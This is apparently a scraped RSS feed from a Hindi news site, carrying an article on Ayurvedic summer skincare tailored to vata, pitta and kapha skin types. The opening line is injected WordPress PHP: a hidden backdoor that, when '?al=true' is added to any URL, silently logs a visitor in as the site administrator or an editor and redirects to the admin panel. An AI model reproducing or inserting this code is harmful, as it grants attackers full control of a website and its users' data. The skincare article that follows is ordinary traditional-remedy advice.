// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Ayurvedic Skin care – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 01 May 2026 10:48:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 गर्मियों में आयुर्वेदिक स्किनकेयर: वात, पित्त और कफ के अनुसार सही देखभाल https://pratyushaashakinayikiran.com/?p=216197 Fri, 01 May 2026 10:48:00 +0000 https://pratyushaashakinayikiran.com/?p=216197 गर्मी ने धीरे-धीरे अपना प्रकोप दिखाना शुरू कर दिया है। इस मौसम में मेरे पास आने वाले कई लोग ऑयलीनेस बढ़ने, मुंहासे से लेकर टैनिंग होने, सेंसिटिविटी बढ़ने और स्किन डिहाइड्रेशन जैसी समस्याएं लेकर आते हैं। आयुर्वेद कहता है कि इसके लिए कॉस्मेटिक ट्रीटमेंट की जगह चंदन, उशीरा, लोध्र, त्रिफला और यष्टिमधु जैसी औषधीय गुणों से भरपूर चीजों का इस्तेमाल कर लंबे समय तक बरकरार रहने वाले सकारात्मक परिणाम पाए जा सकते हैं।

ऐसा इसलिए संभव है क्योंकि आयुर्वेद सिर्फ ऊपरी चीजें देखकर इलाज नहीं करता, बल्कि वो पहले शरीर की प्रकृति को समझने पर जोर देता है और फिर उपचार शुरू करता है। यही वजह है कि इसका फायदा गहराई से मिलता है और प्रभाव लंबे समय तक नजर आता है।

गर्मियों का स्किन पर असर
अष्टाङ्गहृदयम् जैसे पौराणिक आयुर्वेदिक ग्रंथों के अनुसार, ग्रीष्म ऋतु एक ऐसा समय है, जब तेज गर्मी के कारण शरीर की ताकत और नमी धीरे-धीरे कम होती चली जाती है। इस दौरान शरीर में पित्त (शरीर की हीट एनर्जी) भी जमा होने लगता है। वातावरण में बढ़ती शुष्कता और पित्त का जमा होना, ये मिलकर ऐसा मेल बनाते हैं, जिससे त्वचा का प्राकृतिक संतुलन बिगड़ जाता है। इस मौसम में गर्मी के कारण पसीने भी ज्यादा आता है, जो स्रोतोरोध (स्किन के माइक्रोचैनल से जुड़े ब्लॉकेज) को जन्म देता है।

अगर मौसम के अनुसार सही देखभाल न दी जाए, तो व्यक्ति को कई तरह की त्वचा संबंधी समस्याओं का सामना करना पड़ सकता है। इनमें इन्फ्लेमेशन, रेडनेस, पिंपल्स और डलनेस आदि शामिल हैं। नतीजन अक्सर गर्मियों में लोगों की स्किन थकी, अनइवन और रिएक्टिव नजर आती है।

प्रकृति के आधार पर कैसा हो गर्मियों में आयुर्वेदिक स्किनकेयर
वात प्रधान
वात प्रधान लोगों की त्वचा प्राकृतिक रूप से रूखी होती है। गर्मियों में बाहरी शुष्कता के कारण ये समस्या और ज्यादा बढ़ जाती है।
    इस तरह की प्रकृति वाले लोग मुडगा (हरा चना) को जेंटल क्लीनिंग के लिए इस्तेमाल कर सकते हैं। ये बिना नैचरल ऑयल को डैमेज किए त्वचा की सफाई करता है।
    यष्टिमधु (मुलेठी) को दूध में मिलाकर लगाने से स्किन के खोए हाइड्रेशन को वापस लाया जा सकता है। ये स्किन के टेक्सचर को भी बेहतर बनाता है।
    लाइट टेक्सचर के ऑयल भी स्किन के मॉइस्चर को बनाए रखने में अहम भूमिका निभाते हैं। इससे गर्मी के कारण स्किन को कम नमी के चलते होने वाले नुकसान का जोखिम भी कम हो जाता है।

पित्त प्रधान
पित्त प्रधान स्किन आमतौर पर काफी ज्यादा सेंसिटिव होती है, जिस वजह से इन्हें मुंहासों की समस्या, रेडनेस, इन्फ्लेमेशन और पिगमेंटेशन होने की आशंका काफी ज्यादा रहती है। गर्मियों में ये जोखिम और बढ़ जाता है। इन समस्याओं को मैनेज करने के लिए स्किन को ठंडक देने वाले तरीके अपनाने की जरूरत होती है।

  ठंडे पानी या गुलाब जल से चेहरा धोने पर जलन की समस्या कम करने में मदद मिलती है।
  स्किन को शांत करने, गर्मी कम करने और रंगत को सुधारने के लिए चंदन, उशीरा और लोध्र (सिम्प्लोकोस रेसमोसा) के क्लासिक कॉम्बिनेशन को इस्तेमाल करने की सलाह दी जाती है।

कफ प्रधान
कफ प्रधान लोगों की स्किन काफी ऑयली होती है। इस वजह से स्किन के ऐसे पार्ट्स जहां पहले से ही ज्यादा नमी मौजूद होती है, वहां के पोर्स बंद होने का ज्यादा खतरा रहता है

इस तरह की स्किन वाले आयुर्वेद लोध्र (सिम्प्लोकोस रेसमोसा)और त्रिफला (आंवला, हरीतकी, बिभीतकी) का पाउडर लगा सकते हैं। ये स्किन को साफ रखने और ऑयल को सोखने में मदद करता है। इस औषधीय पाउडर के इस्तेमाल से जेंटल एक्सफोलिएशन होता है, जो त्वचा की गंदगी को साफ करता है और प्राकृतिक संतुलन को फिर से स्थापित करता है। इससे स्किन कंजेशन को रोकने में मदद मिलती है।

औषधीय लेप से रखें गर्मी में त्वचा का ख्याल
शार्ंगधर संहिता जैसे ग्रंथों में लेप को स्किनकेयर का एक अहम पहलू बताया गया है। आम फेसपैक के उलट, ये औषधीय गुणों से भरा फॉर्मूलेशन खास स्किन कंडीशन को ध्यान में रखते हुए तैयार किया जाता है, ताकि असरदार रिजल्ट्स मिल सकें। उदाहरण के लिए:

    चंदन-उशिरा-लोधरा से बना लेप शरीर की गर्माहट और गर्मी से हुई टैनिंग को मैनेज करने में मददगार साबित होता है।
    लोधरा-त्रिफला का लेप मुंहासों वाली स्किन की समस्याओं के लिए असरदार माना जाता है।
    रूखी त्वचा और डलनेस के लिए मुलेठी को दूध में मिलाकर लगाने की सलाह दी जाती है।

इन्हें लगाने का सही तरीका भी काफी महत्व रखता है। लेप की पतली लेयर स्किन पर लगाएं और वो पूरी तरह से सूखे, उससे पहले उसे हटा लें। ऐसा करने से स्किन और ज्यादा ड्राई नहीं होगी।

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